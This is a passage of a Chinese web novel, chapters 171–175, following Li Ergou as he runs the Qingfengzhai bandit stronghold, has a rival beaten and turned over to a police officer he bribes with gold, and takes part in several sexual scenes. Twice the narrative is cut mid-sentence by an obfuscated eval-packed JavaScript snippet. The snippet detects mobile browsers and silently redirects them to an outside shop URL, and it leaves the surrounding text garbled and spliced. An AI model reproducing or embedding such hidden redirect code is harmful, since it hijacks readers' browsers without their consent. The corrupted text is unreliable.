宋孬蛋不知道李二狗要干什么,但看他的神情,也不敢多问。 “狗哥,山寨一共有六十八名兄弟,有两名兄弟昨晚请假回家了,其余的全部在这了。” 李二狗依然蒙着面,清风寨的兄弟早已习惯了李二狗的装扮,人家玩的就是神秘感。 李二狗仔细查看了所有人,并没有今天他看到的那个人,但李二狗内心笃定那两个人就是清风寨的人。 “孬蛋,请假的兄弟什么时候回来?” 宋孬蛋说道:“中午之前肯定回来。” “回来之后,直接把他们带到议事厅等我。” “放心吧,狗哥。” 李二狗又把陈嘎子叫到身旁,附耳交待了几句,陈嘎子领命而去。 安排完一切,李二狗向小院走去,陈老三紧紧地跟在他身后。 “老三,你他娘跟在我屁股后面干嘛?舔钩子吗?” 陈老三嘿嘿一笑,说道:“狗哥,我去看看望冬姑娘。” 李二狗这才想起,自己答应过陈老三要把望冬介绍给他,竟把这事给忘了。 忘了就忘了,但他不能承认自己忘了,不然伤兄弟感情。 “你小子天天就惦记着这点事,你放心,我一直记着的,总得找个合适的机会才行。” “嘿嘿,谢谢狗哥,我只是想望冬姑娘了。” 李二狗也想极力促成此事,如果陈老三娶了望冬,这辈子陈老三都会死心塌地地跟着李二狗。 第171章 长了个狼样子 李素文见到李二狗,喜上眉梢。 这几天她正好在排卵期,想和李二狗多努力几次,也许上天眷顾,说不定能怀上个一男半女,也算了了自己一桩最大的心事。 “望冬,你和老三出去走走吧。” 面对李素文的好意,望冬却并不领情。 “素文姐,我还有很多衣服没洗呢。” 李素文说道:“我和你二狗哥有点私事,你等会回来再洗,快去吧。” 望冬不解风情地说道:“你和二狗哥去忙吧,我不打扰你们。” 李二狗心领神会,早就猜到李素文想做什么,便笑道:“望冬,我们怕打扰你。” 望冬看看李二狗,又看了看脸颊绯红的李素文,顿时明白过来,顿时面红耳赤。 她扔下衣服就跑了出去,陈老三见状,赶紧追了出去。 “我们进屋吧。” “你真讨厌!” 李二狗一把抱起李素文,她就像一只温顺的小猫紧紧贴在他身上。 “二狗,待会你轻一点对人家,这次我们主要是为了要个孩子。” 李二狗看着李素文绯红的脸颊,在她耳边轻声说道:“你和孩子的事,我一起办了!” 清风寨议事厅。 李二狗蒙着面坐在正中央,旁边坐着宋孬蛋,李二狗已经把情况告诉了宋孬蛋。 大厅站着两个刚刚回来的人,其中一个正是带头在胡家大院门口闹事的人。 “杨仁,杨义,你们下山干嘛去了?” “宋经理,我们家里有点事,回了趟家,我们可是按程序请假之后才下的山。” “没去别的地方吗?” “没有,没有。”杨仁,杨义几乎同时说道。 “你们没去李家堡村?” 杨仁,杨义几乎同时变脸,“扑通”一声跪在地上。 “宋经理,我们家里情况比较特殊,爹娘生病无钱医治,不得已才下山干了点营生,下次我们再也不敢了。” “营生?”宋孬蛋拍案而起,“李大民是怎么死的?他媳妇被谁欺凌了?你们又是受了谁的指使?快快从实招来。” 两人完全傻眼了,这么隐蔽的事情,宋孬蛋如何知晓的如此清晰? “宋经理,冤枉啊,我们只是收钱去站场子壮声势,人根本不是我们杀的!” “那是谁杀的?” “我们也不认识,是一个人通过老乡找到我们兄弟俩,说让我们帮他去做一件事,事成之后答应给我们十块大洋。” 宋孬蛋瞅了一眼李二狗,李二狗示意他继续问下去。 “让你们做什么事?” “一个人说他和胡家大院的管家李二狗有夺妻之恨,为了报复他,让我们冒充胡家大院的人去催租打人,然后鼓动村民去胡家大院闹事,目的就是让胡家大院开除李二狗,可没想到,他却直接打死了人,真的和我们兄弟无关啊。” “你们倒是把自己撇得挺干净,把我当傻子吗?村民去胡家大院闹事,难道不是你们两个鼓动的?” 两人更震惊了,他们实在想不明白,这些神不知鬼不觉的事,宋孬蛋到底是如何得知的。 “他杀了人之后,我们很害怕,本来不打算再和他有牵扯,可他答应再给我们十块大洋,让我们鼓动村民去胡家大院闹事。” “那个人现在哪里?” “我们不知道啊。” “杨仁,杨义,你们兄弟二人违反山寨寨规,目无组织纪律,侵害群众利益,按寨规得枪毙!” “宋经理,宋经理,我们知道错了,求求你饶我们这一次吧,我们爹娘只有我们两个儿子,他们还得指望我们给他们养老送终啊。” 杨仁,杨义跪在地上,响头磕个不停,很快额头就磕出了鲜血。 “如果你们能找到雇用你们的人,可以考虑从轻发落。” “好,好,宋经理,我们马上下山去找,一定把他带到山寨来。” “杨仁,杨义,你们给我听好了,你们家住哪里,家里有几口人,寨里都一清二楚,千万不要再做对不起山寨的事,否则别怪寨规无情。” “不敢不敢,我们马上去找。” 杨仁,杨义走后,陈嘎子来到议事厅。 “狗哥,他家里没人,我问了他邻居,说是从昨晚开始就没再见到他,我已经留下一个兄弟在那盯着,一有情况他会立马来报。” “好,辛苦了,嘎子兄弟,你先回去休息吧。” “狗哥,你觉得杨仁,杨义两兄弟能找到孙家旺吗?他肯定是躲起来了。” “一计不成,他肯定不会死心,即使我们不去找他,他也会自己跳出来,他不会消失的。” “狗哥,你这几天可得多加小心,千万别打狼不成反被狼伤。” “放心吧,孙家旺他不是狼,只是长了个狼样子。如果是狼,能让咱这么轻易地办了他?不识相的东西,老子饶他一条性命,他还没完没了了,早晚把自己作死。” 李二狗下了山,最近多事之秋,不回胡家大院他心里不踏实。 其实李二狗去孙家旺家的时候,正好被准备回家的孙家旺看见,吓得他赶紧躲了起来,他没想到李二狗会这么快找到他的住处。 孙家旺一路跟随,当他看到李二狗上了清风寨的时候,惊得下巴都掉了下来。 万万没有想到李二狗竟然和清风寨的土匪有勾结。 清风寨的土匪抢劫胡家大院,吓死胡老太太,作为管家的李二狗竟然和清风寨暗通款曲。 孙家旺从一开始的惊讶变为狂喜。 如果能坐实李二狗私通清风寨土匪的罪名,自己就可以凭借着这个功劳重返胡家大院,甚至坐上管家的位子。 他激动极了,他激动的想大喊、想大叫,想唱起歌来跳起舞,他已经抑制不住自己狂躁的内心。 在看到李二狗上了清风寨之后孙家旺立马下了山。 他本来想直接去县警察局报案,但感觉直接报案并不能体现自己在这件事情上对胡家大院的特殊贡献,应该让胡家大院的人对他感恩戴德才好。 他来到胡家大院门口,本想直接进入大院向众人揭露李二狗的真实面目,但想到李二狗在胡家大院根深蒂固,很可能会有不少马弁亲信,便一直潜伏在胡家大院附近等待时机。 孙家旺上次去于兰芝那里揭发李二狗,没想到于兰芝不仅不感谢自己,还和李二狗狼狈为奸,把自己赶出胡家大院,他怀疑于兰芝和李二狗很可能有一腿。 想来想去,他认定张玲玉才是最佳人选。 第172章 度日如年 在胡家大院,大家都知道张玲玉一直和于兰芝不对付,和李二狗也少有往来,曾数次想置李二狗于死地。 在整个胡家大院,除了张玲玉,再无第二人选。 孙家旺等啊等,他眼睁睁地看到李二狗进入胡家大院,看到太阳落进西山,看到月亮悄悄爬上枝头,可却始终没有等到张玲玉出现。 这也难怪,张玲玉此刻正在家中诵读经文、修身养性。 孙家旺急得上蹿下跳,他实在是等不了了! 突然,他想起在胡家大院西北角,有一个狗洞,虽然洞口有点小,但凭借自己短小瘦弱的身材,钻进去应该没有问题。 想到这,孙家旺顿时来了精神,他一溜烟跑到大院西北角。 果然在其中一个柴垛旁看到一个狗洞,洞口很不起眼,只有一尺见方。 也就是孙家旺,换作任何一个男人都爬不进去。 孙家旺先把头伸进去试了试,虽然自己已经很瘦很瘦,但狗洞还是显得有点狭窄。 他索性把身上的棉袄棉裤全部脱下来,只穿着一个白色小裤衩站立于月色之下。 春寒料峭,一阵凉风吹来,孙家旺忍不住打个寒颤。 凉风有信,春月无边,亏他立功的情绪好比度日如年。 不能再等了!他赶紧趴下身子钻进狗洞,费了好大力气终于爬进了胡家大院。 他站起身,拍拍身上的灰尘,才发现刚刚脱掉的棉袄棉裤没有拿进来,他又赶紧俯下身子费力地爬出去。 “汪,汪,汪……” 一只狼狗突然从后面窜出,死死咬住孙家旺的白色小裤衩,孙家旺一惊,赶紧往外爬,白色小裤衩顿时被狼狗撕咬掉半个。 爬出后,他紧张地摸了摸自己的屁股,竟然被锋利的狗牙划出了血。 “娘的,李二狗欺负我,你一条野狗也欺负我,老子早晚把你们两条狗都炖了下酒。” 孙家旺嘴上骂得厉害,却迟迟不敢再钻进狗洞。 他抱着棉袄棉裤站立于凉风中,风呼啸着吹拂过他半个屁股,火辣辣地疼。 孙家旺猫在狗洞旁,学了两声狗叫,并没有得到回应。 他这才小心翼翼地把棉袄棉裤从狗洞塞进去,然后俯下身子再次钻进狗洞,刚钻进半个身子,一抬头,正看到狼狗伸着舌头瞪着狗眼凝视着自己。 孙家旺吓得赶紧缩了回去,情急之中,身体被狗洞周围的棱角划得伤痕累累。 这次孙家旺只能双手抱臂,来回在地上跺脚,还是冻得直打哆嗦。 “狗啊狗,你到底啥时候睡觉啊,冻死老子了……” 孙家旺来来回回跺着脚,眼看着天边已经露出一线鱼肚白,他决定不能再等了。 大不了和狼狗拼个鱼死网破,咬死他! 孙家旺俯下身子,再次钻进狗洞,却并没有看见狼狗。 “娘的,害得老子冻了一个晚上。” 孙家旺嘴唇冻得发紫,牙齿咯咯直响,他哆哆嗦嗦捡起地上的棉袄棉裤赶紧穿在身上。 趁着天色未明,孙家旺悄然来到张玲玉院子门口,刚要敲门,想了想便住了手。 这时候敲门,张玲玉不仅不会开,还有可能把其他人引来。 他想到这个院子东侧有一棵大树,便跑到大树下,顺着大树爬进了院子。 张玲玉失宠之后,没有丫鬟,没有小厮,偌大的院子只住着她一个人,院子里堆满了树叶杂草,在早春的清晨显得格外寂寥。 孙家旺悄悄走到张玲玉卧室门口,轻轻敲了敲房门。 “谁?” 张玲玉吓得赶紧拿起一直放在枕头下面的剪刀。 “二奶奶,我是孙家旺。” “孙家旺?”张玲玉隐约有点印象,只记得是一个瘦骨嶙峋又尖嘴猴腮的家伙,“大清早的你来做什么?赶紧走,不然我喊人了!” 孙家旺连忙说道:“二奶奶,您千万别喊,我有重要事情向您汇报。” “你现在赶紧走,等天亮了再过来。” 大清早潜入自己的院中,张玲玉很怀疑他的动机。 她虽然缺少男人的滋润,但绝不会饥不择食! “二奶奶,您听我说,十万火急,不能再等了。” 张玲玉手中紧紧握住剪刀,说道:“有什么话你就在外边说吧。” “二奶奶,我发现一个特别重大的秘密,李二狗私通清风寨的土匪。” “你说什么?” 情急之下,张玲玉赤着脚穿着红色小肚兜打开房门。 孙家旺看呆了,口水顿时流了下来。 张玲玉见状赶紧捂住自己的胸口,“啪”的一声又关上房门。 等她穿好衣服,再次打开房门的时候,孙家旺眼珠子依然在放着绿光。 张玲玉忍住恶心,问道:“你刚才说的可是真的?” 孙家旺腆着脸说道:“二奶奶,千真万确,我亲眼看见李二狗上了清风寨。” 李二狗和清风寨的土匪私通,张玲玉并不感到意外,她意外的是孙家旺是怎么知道的! 之前清风寨抢劫胡家大院,吓死胡老太太,两家有着不共戴天之仇。 当初张玲玉为了报复胡士高,做了清风寨的内应,没想到清风寨事后反悔,不仅不给自己分赃,土匪头子还强奸了自己。 她早就恨透了清风寨的这群土匪! 要不是李二狗带人闯进山寨,杀了朱重九,救了自己,这时候自己恐怕还在清风寨做压寨夫人。 张玲玉想要稳住孙家旺,便俏声问道:“你刚才说你叫什么名字?” 孙家旺一脸谄媚之相。 “二奶奶,小的叫孙家旺。” “家旺啊,其实我早就注意到你了,不仅办事利索,人也挺机灵,比那个什么狗屁李二狗强得何止百倍!” 孙家旺被张玲玉一顿猛夸,顿时有些飘飘然。 “嘿嘿,谢谢二奶奶夸奖,小的以后愿意唯二奶奶马首是瞻,赴汤蹈火,在所不辞。” 张玲玉竟然伸出玉手拍了拍孙家旺的肩膀,以至于他的双腿都抖动起来。 “家旺,好好干,我看胡家大院管家这个位子早晚是你的。” 孙家旺“扑通”一声跪在地上,一把抱住张玲玉的大腿。 “谢二奶奶成全,以后我孙家旺就是您的一条狗,您指哪我咬哪。” 第173章 咎由自取 张玲玉强忍着恶心,说道:“家旺啊,你放心,我绝不会亏待你的,等我们揭露了李二狗的真实面目,到时候胡家大院管家这个位子非你莫属。” 孙家旺抱着张玲玉的大腿,头紧紧地贴在上面,就像一条发情的公狗。 张玲玉看着孙家旺的样子,差点呕吐到他头上。 “家旺啊,你先不要声张,等我想了对策,我们再一举拿下李二狗,天快亮了,你快回去吧。” “二奶奶,您可能还不知道吧?李二狗公报私仇,已经把我赶出胡家大院了,我这次是偷偷跑回来向您报告的。” 张玲玉灵机一动,说道:“家旺,那你就先留在我院里,千万别出门,被人发现我们可就很难解释清楚了。” 孙家旺喜出望外,没想到张玲玉会收留他。 “谢谢二奶奶,谢谢二奶奶,二奶奶放心,我一定不踏出这个院门半步。” “那就好,”张玲玉伸了伸有些被孙家旺抱麻的大腿,“你先起来吧,我去食堂给你弄点吃的,看你这浑身脏兮兮的,自己去烧个热水洗洗澡,好好睡一觉,养好精神我们才能扳倒李二狗!” 孙家旺一脸淫笑。 “嘿嘿,谢谢二奶奶。” “记住,千万不要出去!” 张玲玉急忙出了门,孙家旺转身来到张玲玉的卧室,看到她刚刚睡过的被窝,发出两声淫荡的笑声。 “二奶奶,你可真是太馋人了。” 说罢,便扑到张玲玉床上,像狗一样疯狂地在被子、床单、枕头上嗅来嗅去,表情极其猥琐。 张玲玉关好院门,快步来到李二狗院门口。 李二狗打开门,看到张玲玉,微微有些吃惊。 “二奶奶,这么早来找我,有什么事?” 张玲玉瞪了他一眼,没有说话,直接闪身走了进去。 “把门关上!” 李二狗心想,张玲玉如果是来求欢,应该是晚上来,肯定不会大清早过来,也便放心地关上了院门。 “二奶奶,到底发生什么事了?” “李二狗,你现在是不是还和清风寨有瓜葛?” 上次李二狗杀了朱重九剿灭清风寨,张玲玉都是亲身经历的。 “二奶奶,你何出此言?” “叫我玲玉!” “玲玉,你这大清早的到底是怎么了?和吃了火药似的!” 张玲玉的眼泪流了下来。 “李二狗,你这个无情无义的东西,你扪心自问,你有多长时间没去找我了?” 李二狗有些结结巴巴地说道:“我……实在是最近事情太多,没来得及过去。” “哼,事情太多?于兰芝那里你倒是去的殷勤,有事没事就往一个大肚婆那里跑,你说,她肚里的孩子是不是你的?” 张玲玉只是随口一个试探,李二狗却着实吓得不轻。 “玲玉,这种话可千万不能乱说,会害死人的!老爷临走之前特意嘱咐我多关照关照大奶奶,她现在有孕在身,不能出任何意外。” 张玲玉冷笑一声,质问道:“你的意思是她不能出任何意外?我就可以任意出意外是吗?” “玲玉,你听我说,我不是那个意思。” 张玲玉泪水像决了堤一般,哭得梨花带雨。 “二狗,你知道吗?自从上次你在清风寨舍命救了我,我的整颗心和我整个人就都是你的了,不管你要也好,不要也罢,往后余生,我的心里只有你,不可能再容得下别人了。” “玲玉,其实我……” “我知道,以前我做过一些对不起你的事,我还被土匪欺凌过,我不敢奢求你能接受我,只希望在夜深人静的时候,你能偶尔想起我,能来我院里陪我说说话,我也就知足了。” 李二狗一把抱住张玲玉,明知道她是一朵带刺的玫瑰,可哪怕被扎的遍体鳞伤,他还是忘不掉初见她时的惊艳,也许这就是他的宿命。 “玲玉,我们去床上说。” 李二狗刚要抱起张玲玉,她突然想到了此行的真正目的。 “二狗,被你这么一撩拨,我差点把正事忘了。” “到底什么事?” “你先告诉我,你是不是和清风寨还有什么瓜葛?” 李二狗心想,张玲玉肯定是听到了什么,所以才会跑来问自己。 “上次剿灭清风寨之后,我有几个兄弟留在了清风寨,我和他们时常会有些往来,你听到了什么?” “是孙家旺,他说你和清风寨的土匪有勾结。” 这个狗日的孙家旺,真是阴魂不散,哪哪都有他! “他现在哪里?” “你先别着急,今天一大早他爬进我院里,向我揭发你和清风寨的土匪有勾结,已经被我想办法留在院里了,你尽管放心,他不敢跑出来。” 李二狗亲吻了一下张玲玉的额头。 “玲玉,我先去办完正事再回来办你。” “你讨厌死啦!” 李二狗带着几个家丁赶到张玲玉院里时,孙家旺正唱着酸曲在浴桶里泡澡。 “想你想的吃不哈可饭,大火上来把口咬烂,半碗碗绿豆半碗碗米,端起个饭碗想起个你,青石板上栽葱扎不哈个根,玻璃上亲嘴急死个人。红豆角脚熬馒馒,咱俩好成个面然然,你脑上的虱子俄给你寻,晚上给你提个尿盆盆,哥哥俄走过来,妹妹你把怀改开……” “哐当”一声,房门被一脚踹开。 “孙家旺,你好大的胆子,竟敢对二奶奶有非分之想!” 孙家旺见是李二狗,顿时吓尿在浴桶里。 “李二狗你……” “先他这个不知死活的东西打个半死!” 李二狗转身的瞬间,身后传来孙家旺鬼哭狼嚎的声音。 李二狗命人把奄奄一息的孙家旺抬上马车,带着几个人去了李家堡村。 “李村长,我已经找到了杀人凶手,请李大民家嫂子来指认一下,看看是不是这个人。” 经过李大民媳妇指认,确定孙家旺就是打死李大民的凶手。 李二狗给了李大民家一百块大洋,李大民媳妇对李二狗千恩万谢。 “你们把孙家旺送到县警察局,记住,一定要交给孙队长。” “李管家,请放心。” 家丁赶着马车直奔县城。 第174章 法不外乎人情 李二狗来到清风寨。 杨仁、杨义下山找了整整一天,也没有找到孙家旺,现在已经回到清风寨听候发落。 李二狗对他们兄弟俩的态度还是非常满意。 清风寨议事厅。 大家对如何处理杨仁、杨义产生了争执。 陈老三率先发言。 “狗哥,我建议把杨仁、杨义这两个败类拉到后山毙了,杀鸡儆猴。” 陈嘎子、张石头听陈老三这样说,以为是李二狗的意见,便纷纷附和陈老三,只有宋孬蛋没有说话。 “孬蛋,你的意见呢?” “狗哥,我今天亲自下山去过杨仁、杨义的家,他们爹娘确实卧病在床,家庭生活十分拮据。这次他们犯错确实是事出有因,加上并没有犯下不可挽回的错误,我建议从轻发落,不能一杀了之,我怕这样会让兄弟们会寒心。” 李二狗向宋孬蛋投去一个赞许的目光。 “你们都跟着孬蛋好好学学,这才是当领导应该有的样子,寨规是死的,我们做领导的不能也是死的!” 陈老三有些不服气,分辩道:“狗哥,你说过,寨规面前一律平等,杨仁、杨义既然违反了寨规,就应该按寨规处罚。” 李二狗端起茶杯,轻轻抿了一口,想说服陈老三这个大老粗确实得多费一些口舌。 “法不容情,但法不外乎人情,我们不能让冰冷的寨规寒了众兄弟们的心。” 陈老三还想反驳,被宋孬蛋在桌下踢了一脚。 “孬蛋,你狗日的踢我干什么?” “三哥,先听狗哥把话说完嘛。” 陈老三看李二狗一脸严肃的样子便闭了嘴。 “杨仁、杨义爹娘生病,无钱医治才会导致他们做出违反寨规之事,我们做领导的有没有责任?是不是平时对他们关心的不够?难道每个月给他们发完饷钱就一切万事大吉了吗?” “如果我们平时多关心他们一点,随时了解他们的思想波动,他们还会犯下今天的错误吗?” “狗哥,你的意思是不处罚杨仁、杨义了?” 陈嘎子是一个没有主见的人,听完李二狗的话他有些懵了。 “违反寨规,当然要受处罚,这是原则性问题,但是我们一定要掌握一个合适的度。” 李二狗又端起茶杯,轻轻地抿了一口茶,他得给众人留出一定思考的时间,说的太多,怕他们一时半会消化不了。 “如果他们这次杀了人,就是有天大的理由,也不能饶恕。但这次他们并没有造成不可挽回的后果,而且认错态度良好,我认为我们应该从轻发落。” 陈老三说道:“狗哥,你这整得太复杂了,违反寨规还能分三六九等?这也太难了!” “你要是觉得难,你现在就可以退出寨务会,我可以给你安排一个看大门的活,那活轻松。” 陈老三脸上堆满了笑。 “狗哥,你看你,我就是随口一问,你怎么还生气了?嘿嘿,我都听你的还不行。” “天天以傻大憨粗为荣,那我们山寨以后能有什么大的发展?单打独斗逞英雄的时代已经一去不复返了,没有组织没有纪律注定走不长远!” 宋孬蛋赶紧出来打圆场。 “狗哥,你别生气,三哥他不是这个意思,他主要是觉得我们量刑的时候没有一个统一的标准,确实挺难把握的。” 陈老三急忙说道:“我就是孬蛋兄弟这个意思,你别生气啊,狗哥。” 李二狗又端起茶杯抿了一口茶,想把这些五大三粗的土匪改造成一支有战斗力的队伍确实非一日之功。 “这也是我接下来要说的,我们应该把违反寨规的情形提前做一个量刑标准,违反同一条寨规,视不同的后果给予不同的惩罚,既可以起到杀一儆百的效果,又能惩前毖后、治病救人。孬蛋,这项工作交给你来做,有没有困难?” 宋孬蛋一脸严肃地站起来,保证道:“狗哥,既然是你交给我的任务,就是有再大的困难也要上,我争取一个月之内拿出一个草案,到时候再上咱们寨务会研究。” “大家看看人家孬蛋这个觉悟,就是比你们高,你们得好好向人家学习,”李二狗越来越欣赏宋孬蛋,“孬蛋,如果有困难,你可以去省城找吴有德吴爷,我会让他安排人教你。” 一听到去省城,陈老三立马来了精神,说道:“我陪孬蛋兄弟一起去,彼此路上也好有个照应。” 李二狗笑骂道:“你他娘的一向是有便宜就占,有困难就躲,要不然我把这个任务交给你?” 吓得陈老三连连摆手。 大家一起哈哈笑了起来,紧张的气氛缓和下来。 李二狗清了清嗓子,继续说道:“我还有个建议,现在提出来大家一起讨论讨论,看看合不合适。” 众人赶忙拿出小本本,开始认真记录。 陈老三虽然不识字,也像模像样地拿出一支笔,态度决定一切。 “这次杨仁、杨义之所以违反寨规,主要原因是爹娘生病造成的家庭困难,这种情况只存在杨仁、杨义家里吗?其他兄弟家里有没有这种情况?你们作为领导的都知道吗?” 众人都低着头不说话,只听到笔尖触划纸张的声音。 “即使爹娘没有生病,那家里是不是还存在其他困难?有了困难他们会不会也和杨仁、杨义兄弟一样选择铤而走险?” 议事厅静得仿佛掉一根针都清晰可闻。 “当然我首先要做一下自我批评,我也不了解他们的家庭情况,这是我工作的失误。” 宋孬蛋急忙说道:“狗哥,这不能怪你,你平时人又不在山寨,山寨的人事财务由我负责,这是我的失职。” “孬蛋兄弟的态度非常好,我们不怕工作没做好,就怕明明工作没做好还推诿扯皮,找一堆理由来推卸责任,这种态度是万万要不得的。” 众人齐声附和,纷纷做起了自我批评。 李二狗一挥手,大家又安静下来。 “针对以上这种情况,我有三点建议。” 大家再次低头握笔,开始认真记录。 第175章 沈家大院 “第一点,把全山寨所有的兄弟,包括他们的个人信息、家庭住址、家庭成员的情况、家庭目前存在的困难全部登记造册,每人一册,不求面面俱到,但一定要真实。这项工作我建议由张石头牵头负责,我只有一个要求,不漏一人,应统尽统。” 张石头连忙保证道:“好的,狗哥,你放心,我一定保质保量地完成这项工作。” 清风寨有一半的兄弟都是在家破人亡之后才上山当的土匪,家中并没有父母和兄弟姐妹,所以这项工作执行起来并不复杂。 “第二点,以后山寨的兄弟,无论是谁,只要家里出现困难,我们山寨都要帮一帮,一定要让他们感受到我们山寨是一个温暖的大家庭,有困难大家一起扛!” 大家纷纷点头称是。 “第三点,我建议,立即成立清风寨困难救助办公室,专门负责对山寨出现困难的兄弟进行救助,同时也要做好困难救助申请的现场核实工作。先期由山寨拨付一千块大洋,专款专用,这项工作我建议由陈嘎子负责。” 陈嘎子立马站起来保证道:“狗哥,请放心,我一定看好咱们兄弟们的救命钱。” 李二狗笑了笑,继续说道:“大家都先别急着表态,这只是我个人的三点建议,还得咱们大家讨论表决之后再做决定。” 李二狗话音刚落,大家便纷纷表态。 “我同意!” “我也同意!” “我们大家都同意!” 李二狗刚刚安排了好几项工作,没有一项安排给陈老三负责,对此他一肚子意见,但嘴上却同样表示同意。 李二狗很满意大家的态度。 清风寨议事厅研究事情,可以先**后集中,也可以先集中后**,一切都取决于李二狗的态度。 “大家还有什么要汇报的工作吗?” 宋孬蛋说道:“狗哥,有个情况我觉得有必要在寨务会上研究研究。” 李二狗点点头,宋孬蛋接着说道:“从去年冬天一直到现在,几乎没有下过雨,我昨天到地里看了看,小麦蔫头耷脑,今明两年很可能会是灾年。” 宋孬蛋的话立即引起了李二狗的重视。 “孬蛋,你说的这个情况很重要,大家说说怎么办?” 陈老三每次总想抢先表现,但每次都说不到点子上,这次还是一样。 “这和咱们有什么关系?咱们又不种小麦。” “老三,你要不说话没人把你当哑巴。” 陈老三心里一百个不服气,明明是你让大家发表意见,我说了你又骂人! 陈嘎子、张石头同样也没有说出个子丑寅卯。 “孬蛋,你有什么建议?” “狗哥,我建议趁着现在小麦价格不高,我们应该提前囤上一批粮食,以备不时之需。” “你的这个建议很好,我同意,咱们多囤一些粮食,即使自己吃不了,还有兄弟们的家人,反正粮食一时半会也坏不了。” “可是狗哥,粮食要是买多了,储存是个大问题,咱们仓库空间有限,储存不了那么多粮食,总不能全部堆在露天吧?” “这个简单,多建几个粮囤就是了,反正咱们山寨有的是地方。” 李二狗看了一眼陈老三,说道:“老三,建粮囤的任务就交给你,一个月之内务必建出二十个粮囤。” 陈老三终于有了任务,他开心的像吃了蜜蜂屎一般。 “放心吧,狗哥,保证完成任务。” 李二狗想了想,对宋孬蛋说道:“孬蛋,你最近派人去周边几个市县看看是什么情况,是不是和咱们江东是一个情况。” “好的,狗哥。” “安排几个心思细腻的兄弟,我要准确情况,给你七天时间。” “放心吧,狗哥,保证完成任务。” 宋孬蛋说完低头翻了翻自己的小本本,继续说道:“狗哥,最近山寨一直是入不敷出,虽然一时半会还觉不出什么,但长此以往,我怕咱们会坐吃山空。” 宋孬蛋提出的问题正好也是李二狗最近一直在思考的问题。 李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李二狗继续说道:“凤凰镇民团队长张大发是个厉害角色,手底下有四十多号人,弄不好我们都得折在里面。” 陈老三不出声了,他在胡家大院训练民团的时候专门去凤凰镇学习过,见识过凤凰镇民团的厉害。 “大家先提前做好下山的准备,至于怎么抢,我再想一想,今天就到这吧,散会!” 刚出议事厅大门,望冬正站在门口。 “望冬,你是在等我吗?” 陈老三见到望冬,乐得鼻涕冒泡。 望冬白了他一眼,看向李二狗,说道:“狗哥,素文姐让你过去一趟。” 李二狗知道,**最近要孩子要的有些魔怔,抓住一切机会去实现自己的造人计划。 宋孬蛋等人都笑着走开了。 “望冬,狗哥回去找素文姐,咱们一起去后山悬崖看风景吧?” 望冬知道**叫李二狗回去干什么,此时她回去并不方便,但她也不想和陈老三一起看风景。 “谁要和你一起看风景,别跟着我。” “望冬,你听我说……” 李二狗回到家,**正坐在门前的一把椅子上。 “到山寨竟然不先回来看我,是不是我不让望冬去叫你,你就偷偷下山了?” “怎么会呢?”李二狗走到**面前,俯身亲吻了她柔软的嘴唇,“我这不是想办完公事再回来全心全意伺候你吗?嘿嘿。” “油嘴滑舌,”**掐了李二狗一下,“我给你说,女人每个月只有这几天容易受孕,你不许偷懒,听见没?” “不偷懒,不偷懒,我一定殚精竭虑、毫不保留。” 李二狗抱起**就进了屋。 “二狗,待会别只顾着自己享受,多用点上次我教你的姿势,那个姿势更容易受孕。” “少听那些老中医忽悠,哥就是老中医。” “你讨厌……” 两人顿时滚作一团,那场面,只能用一个词来形容,活色生香。 忙活完**的事,李二狗没有回胡家大院,直接去了江东县城。 “二狗兄弟,你怎么来了?” 孙竹刚开门见是李二狗,笑的脸上的囊褶子都平整了许多。 李二狗笑道:“大哥,听你这话的意思的不希望兄弟来啊,那我回去了。” 孙竹刚忙拉住李二狗的胳膊,笑道:“来了还想走,哪有那么便宜的事?你嫂子天天念叨你什么时候来,我耳朵都快起茧子了。” 严婆惜听到声音,急忙从屋里走出来。 “是二狗兄弟来了吗?哎呀,二狗兄弟,你可有些日子没来了,快进屋。” 严婆惜热情地把李二狗拉进屋里。 李二狗把刚买的两件真丝旗袍放在桌上,说道:“嫂子,我去省城出差,看到这两身旗袍特别适合你的气质,就比量着你的身材买了两套,你看看合不合身?” 严婆惜拿出旗袍,一边放在身上比量一边说道:“哎呀,二狗兄弟可真是我亲兄弟啊,去省城还想着你嫂子。看这布料,看这裁剪,二狗兄弟可真是有眼光。” 孙竹刚说道:“二狗兄弟可不就是咱亲兄弟吗?好了,先别臭美了,快去给二狗兄弟包饺子吃。” 严婆惜对旗袍简直是爱不释手,她抚摸了又抚摸,恨不得立马穿上给李二狗看。 “哪是我眼光好啊,是嫂子的身材穿什么都好看。” “你看看人家二狗兄弟,说话就是讨人喜欢,嘻嘻。” 严婆惜把旗袍收起来,对李二狗说道:“二狗兄弟,你先喝茶,我去给你包饺子吃。” “谢谢嫂子,让你受累了。” “受什么累啊,二狗兄弟才受累呢,等着啊,一会就好。” “别忘了给二狗兄弟包海鲜馅的。”孙竹刚嘱咐道。 严婆惜白了他一眼,说道:“这还用你说,我还能不了解二狗兄弟的口味吗?” 严婆惜去了厨房包饺子,李二狗和孙竹刚在客厅喝茶。 “二狗兄弟,还没有机会当面谢谢你,上次你又派人给我送来一个**犯,帮助哥哥顺利完成本月的命案侦破指标。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822444|190554||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' r>“大哥和兄弟还这么客气?这不是我应该做的吗?” 李二狗从兜里掏出一根金条放在桌上。 “兄弟,你这是什么意思?咱们兄弟之间用不着这个。” 孙竹刚嘴上拒绝,眼睛却始终没离开桌上的金条。 “大哥,你千万别和兄弟客气,你是吃公家饭的,收入有限,我理应多帮衬你一些,也好让嫂子和侄子过得宽裕些不是?” “还得是我二狗兄弟啊,什么事都想着哥哥,那我就多谢兄弟了,哈哈。” 孙竹刚赶紧把桌上的金条收起来,放进兜里,他害怕被严婆惜没收。 “大哥,有件事我想请你帮个忙,你放心,事成之后兄弟我一定还有重谢。” 